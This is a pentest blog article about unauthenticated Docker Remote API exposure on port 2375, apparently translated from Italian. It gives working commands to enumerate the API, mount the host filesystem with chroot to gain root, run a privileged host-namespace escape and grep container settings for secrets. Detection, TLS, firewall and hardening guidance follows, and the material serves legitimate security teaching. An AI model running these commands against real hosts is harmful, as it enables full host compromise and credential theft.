Port 2375 Docker API: Enumeration, RCE, and Hardening

Port 2375 Docker API pentest: Test unauthenticated access, get RCE and root on the host, and apply detection, TLS, firewall, and hardening.
- Posted on 2026-08-16
- Reading time: 7 min
Docker Port 2375 Exposed: From Unauthenticated API to Root on Host #
Port 2375/TCP exposes the Docker Remote API without TLS or authentication. When configured this way, it allows anyone accessing it to create arbitrary containers and gain root-like privileges on the host—often in seconds, without a username or password. Let's see why this happens and how to exploit it.
| Method | Admission | Mesh | Strong |
|---|---|---|---|
docker.sock | Local | ❌ No | Local filesystem permissions |
| 2375 / TCP | Remote | ✅ Yes | ❌ None |
| 2376 / TCP | Remote | ✅ Yes | ✅ TLS with client certificates |
What is port 2375 and why is it so dangerous? #
Docker, the program that manages containers on a machine, is normally controlled through a special file on disk (/var/run/docker.sock). But it can also be controlled remotely, over the network, via an HTTP API. This API runs on two ports by default:
- 2375 / TCP — clear communication, normal HTTP, without any authentication
- 2376 / TCP —same thing but on TLS, with certificates that identify who connects
2375 should remain closed to the outside or at most reachable only by 127.0.0.1 (i.e., from the machine itself). The problem is that an administrator often opens it to the outside to manage Docker more conveniently remotely, without configuring the TLS certificates required by port 2376. The result: anyone who reaches that port can talk to the Docker daemon as if they were sitting in front of the machine.
Because this door exists, after all #
This isn't a pointless configuration quirk: managing Docker remotely is actually useful in a variety of scenarios—CI/CD pipelines that need to launch build containers on a separate host, centralized management of multiple Docker Swarm nodes, older orchestration tools, and test environments where convenience trumps security. The problem isn't that the feature exists, but that it's too often activated without the level of protection (TLS + certificates) that Docker itself provides with version 2376.
How to check if port 2375 is vulnerable #
A simple check with curl Confirm if the API responds without auth:
curl http://TARGET:2375/versionIf the port is vulnerable, the response is a JSON with Docker version, API version, kernel, OS — no credentials prompt.
Other useful endpoints during reconnaissance:
curl http://TARGET:2375/containers/json # container in esecuzione
curl http://TARGET:2375/images/json # immagini disponibili
curl http://TARGET:2375/info # dettagli demone/hostFrom the command line, if you have the Docker client installed, you can point directly to the remote daemon:
docker -H tcp://TARGET:2375 ps
docker -H tcp://TARGET:2375 imagesNo authentication required: the flag -H simply redirects the client to the remote daemon instead of /var/run/docker.sock local. Alternatively, you can export the environment variable and avoid repeating -H at each command:
export DOCKER_HOST="tcp://TARGET:2375"
docker psNmap and Metasploit #
Docker-dedicated NSE scripts automate some of the reconnaissance:
nmap -sV --script "docker-*" -p 2375 TARGETMetasploit has a dedicated module that checks for exposure and, if auxiliary/exploit, interacts with the daemon:
msf6 > use exploit/linux/http/docker_daemon_tcpReconnaissance via Shodan/Censys #
In OSINT phase (out of scope on environments you don't own, useful to understand the real attack surface on the Internet), a query like port:2375 on Shodan or Censys returns thousands of publicly exposed Docker daemons — a reminder of how widespread this misconfiguration is in production, not just in labs.
The main API endpoints, to help you find your way around #
GET /version # versione demone e API
GET /info # dettagli host e configurazione
GET /containers/json # container in esecuzione
GET /images/json # immagini disponibili
POST /containers/create # crea un nuovo container
POST /containers/{id}/start
POST /containers/{id}/execAll these endpoints, on an exposed 2375, respond without asking anything.
Does rootless Docker solve the problem? #
Rootless Docker (the daemon runs as a normal user, not root) reduces the impact of a potential compromise, because the container doesn't automatically inherit root privileges on the host. However, it doesn't secure an API exposed without authentication : anyone who accesses it still controls all of that user's containers, can read their data, and move to other services with the same credentials. Rootless mitigates the damage; it doesn't replace TLS and firewalls.
Exploitation: From API exposed to root on host #
The critical step is that through the API you can create a container that mounts the host's root filesystem inside it. From there, a chroot gives you a root-equivalent shell on the physical machine.
docker -H tcp://TARGET:2375 run -v /:/mnt --rm -it alpine chroot /mnt shWhat happens in this command:
-v /:/mntmount the host root in/mntinside the container--rm -it alpinelaunch a minimal, interactive, disposable Alpine containerchroot /mnt shchange the process root to the mounted one: you are in the host filesystem, with root permissions
From here you can read /etc/shadow, write an SSH key in /root/.ssh/authorized_keys, or enter a cron job — any action from real root, persistent even after the container is shut down.
Variant without Docker client (HTTP API only) #
If you don't have the track docker available, you can talk directly to the API via curl, creating the container with a POST to /containers/create and starting it with /containers/{id}/startIt's more verbose but useful when access is only via web/proxy.
“Full escape” variant: privileged + namespace host #
A more aggressive version, which often appears in writeups, also shares process, network, and IPC namespaces with the host:
docker -H tcp://TARGET:2375 run --rm -it --privileged \
--pid=host --net=host --ipc=host \
-v /:/host alpine chroot /host sh--privileged disables almost all container restrictions, --pid=host shows you the host processes (useful for nsenter towards PID 1), --net=host It puts you on the same network interface as the physical machine. This is “total” escape, not just for the filesystem.
If you can't create containers: use the ones already running #
If your environment policy restricts the creation of new containers but you still expose the API, you can still:
docker -H tcp://TARGET:2375 ps -a
docker -H tcp://TARGET:2375 exec -it <CONTAINER_ID> /bin/bash
docker -H tcp://TARGET:2375 inspect <CONTAINER_ID> | grep -i "env\|secret\|password"inspect It often displays environment variables with credentials (DB, API key) passed to the container in clear text — a classic pivot point to other services.
CVE-2025-9074: The same bug, in the “Docker Desktop” build #
CVE-2025-9074 was published in 2025, which concerns unauthenticated exposure of the Engine API, even in Docker Desktop configurations (option "Expose daemon on tcp://localhost:2375 without TLS"). The vector and impact are identical to what we saw above: creating containers with bind mounts on the host filesystem → complete compromise. This is a sign that this class of vulnerabilities is not "old history" but continues to resurface.
Because this is enough to have root #
The Docker daemon runs as root on the machine, by design: it needs to be able to create network interfaces, mount filesystems, and manage cgroups—things only root can do. Anyone who communicates with that daemon—whether via a local socket or network—automatically inherits that privilege level. This isn't a bug in a single container: this is how Docker has always worked; the container isn't intended to be a security barrier against anyone who controls the daemon that runs it.
On HackTheBox and VulnLab this port comes up in several scenarios, and is a great complement to what we covered in our in-depth look at Docker service enumeration :
- including initial entry point, when a containerized service is exposed by mistake
- including lateral movement, when an already compromised host can reach the daemon of another machine on the internal network
- including local escalation: if your user is in the group
dockerof the machine, is already equivalent to root, with the same principle seen above but without the need for the network port
Detection & Blue Team #
On the defensive side, the signals to monitor:
- Network: traffic on 2375/TCP from non-administrative hosts, especially to/from subnets other than management ones
- Docker events: commands
docker create/docker runwith mount of/or sensitive host paths (-v /:/mnt,-v /etc:/etc) — must be logged in and alerted viadocker eventsor demon audit - Audited: rules on
execveforchrootlaunched by processes with parent Docker/container - Hardening: 2375 should never be reachable from the network; if remote access is needed, only 2376 with mutual TLS and client certificates, or SSH tunnel to the local Unix socket
- Periodic audit: docker-bench-security Automates checking of Docker configurations against CIS Benchmarks, including API exposure
Remediation #
Hardening Checklist #
- Demon Bind Only on
127.0.0.1or Unix socket (/var/run/docker.sock), never on0.0.0.0:2375 - If remote access is needed: TLS required with
--tlsverify, client certificates (port 2376) - Firewall: Block 2375/2376 from untrusted networks
- Consider rootless Docker to reduce the impact of a compromise (does not replace TLS/firewall)
- Perform periodically docker-bench-security to verify compliance with the CIS Benchmarks
- Update your Docker daemon regularly: some variants (such as CVE-2025-9074) affect even recent configurations
- Network segmentation: Management Docker hosts should not be reachable from the same subnet as end users
Common errors that expose 2375 #
- Bind on
0.0.0.0instead of on127.0.0.1for “convenience” during debugging, never removed after - Docker Desktop with the “Expose daemon on tcp://localhost:2375 without TLS” option left enabled after a test
- Overly permissive cloud security groups (AWS, Azure, GCP) that leave 2375/2376 reachable from the Internet
- No application firewall between the CI/CD management network and the rest of the infrastructure
Where it is most often found in production #
It’s not just a lab issue: the exposed 2375 regularly appears on CI/CD servers (Jenkins, GitLab Runner with Docker executor), legacy Kubernetes environments still relying on Docker as the runtime, VPSs quickly set up for testing, and Docker Desktop installations left in debug mode.
FAQ #
What is the Docker Remote API? It's the HTTP interface that allows Docker to be managed remotely—create, start, and inspect containers—rather than just via the local socket.
Is port 2375 always vulnerable if open?
No. It is vulnerable if the API responds without requiring authentication/TLS. This should always be verified with a test call such as /version before assuming exploitability.
Does 2375 use HTTPS? No, it's cleartext HTTP without TLS. The version with TLS is 2376.
Is 2376 secure? Yes, if configured correctly with valid client certificates—mutual TLS authentication prevents access by anyone who doesn't have the certificate.
Do you need the Docker client to use it?
No, it is enough to speak the HTTP API via curl or any HTTP client; the Docker binary just makes the workflow more convenient.
Does Docker Desktop use 2375? Only if the “Expose daemon on tcp://localhost:2375 without TLS” option is explicitly enabled in the settings—this is not the default.
Can I disable it?
Yes: if you don't need remote access to the daemon, don't open either port and work only through docker.sock local.
Why is this enough to gain root privileges? Because the Docker daemon runs as root on the host by design, and whoever controls the daemon inherits that privilege level—see the dedicated section above.
Does rootless Docker eliminate the problem? It mitigates the impact (you don't get root on the host), but an API exposed without authentication still poses a serious risk to that user's containers and data.
It's the same risk as the socket /var/run/docker.sock mounted in a container?
Conceptually, yes: in both cases, whoever controls the Docker daemon gains root-equivalent privileges on the host. Only the access vector changes (network vs. exposed local socket).
Once inside, the next steps follow the general logic we explain in our post-exploitation guide : persistence, credential collection, movement to other systems. And if the target is part of an Active Directory domain, it's worth rereading our Windows Privilege Escalation guide , because often the real question isn't "how do I get in" but "what do I find inside?"
In short (Italian only) #
The exposed port 2375 isn't a Docker vulnerability in the strictest sense: it's a misconfiguration, albeit a common one. An unauthenticated management API almost always equates to root privileges on the host, because that's how the Docker daemon is designed to work. The difference between a service that's easy to administer and root access given to anyone lies in two things: TLS with client certificates, and a firewall that keeps this port away from untrusted networks.
To learn more #
- HackTricks — 2375, 2376 Pentesting Docker — the most complete collection of variants and edge cases on this technique
- CVE-2025-9074 PoC on GitHub — updated proof of concept on the variant that also affects Docker Desktop
This article is for educational purposes only. Techniques tested on authorized environments such as HackTheBox, VulnLab, and personal labs.








